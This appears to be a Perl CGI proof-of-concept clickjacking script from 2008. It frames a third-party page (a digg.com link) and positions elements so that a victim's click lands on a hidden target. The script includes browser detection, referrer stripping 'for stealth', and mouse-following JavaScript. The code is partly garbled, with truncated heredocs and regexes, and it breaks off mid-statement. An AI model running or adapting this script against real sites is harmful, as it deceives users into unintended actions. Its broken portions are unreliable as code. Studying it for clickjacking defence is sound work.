#!/usr/bin/perl -w
use strict;
#Generic Clickjacking script
#By Robert Hansen (09/29/2008) v0.62
###################################################################
#Bounding box for the target click
my $xl = "40px"; #x axis of the upper left hand corner of $target
my $yl = "284px"; #y axis of the upper left hand corner of $target
my $xmsie = "40px"; #x axis if the browser is MSIE
my $ymsie = "383px"; #y axis if the browser is MSIE
my $width = 40; #width of the $target link/button
my $height = 20; #height of the $target link/button
my $nsleft = "405px"; #padding from left if the user isn't using script
my $nstop = "114px"; #padding from the top of the user isn't using script
#page you want to Clickjack
my $target = "http://digg.com/celebrity/Christopher_Plummer_My_Sex_Injury_Made_Shatner_A_Star";
my $opacity = "1.0"; #works in FF but not so well in IE-for debugging
###################################################################
#Todo - add clickjack detection for movement
if (defined($ENV{"HTTP_USER_AGENT"}) and $ENV{"HTTP_USER_AGENT"} =~ m/MSIE/) {
#Kinda stupid user agent detection... could definitely be improved
#especially considering this believes there are only two browsers in
#the world - MSIE and everything else.
$xl = $xmsie;
$yl = $ymsie;
}
print "Content-Type: text/html\n\n";
my $path;
if (defined($ENV{'SCRIPT_NAME'})) {
$path = $ENV{'SCRIPT_NAME'};
}
else {
( $path = $0 ) =~ s/^.*[\/\\]//;
}
my ($buffer, @pairs);
my ($iframe, $frame);
if ($ENV{'QUERY_STRING'}) {
$buffer = $ENV{'QUERY_STRING'};
@pairs = split(/&/, $buffer);
foreach (@pairs) {
my ($name, $value) = split(/=/, $_);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$name =~ s/\/%3E/g; #XSSing others, perhaps but this script would
$name =~ s/"/%22/g; #require more thought for those use cases...
$value =~ s/\/%3E/g;
$value =~ s/"/%22/g;
if ($name eq "refresh"){
#Remove referring URL for stealth... shhh!
print "";
exit;
}
if ($name eq "js") {
print<docwidth || ycoord+50> docheight)
gettrailobj().display="none"
else
gettrailobj().display=""
gettrailobj().left=xcoord+"px"
gettrailobj().top=ycoord+"px"
}
document.onmousemove=followmouse
EOJS
exit;
}
if ($name eq "frame") {
$frame = 1;
}
if ($name eq "iframe") {
$iframe = 1;
}
}
}
if ($iframe){
print<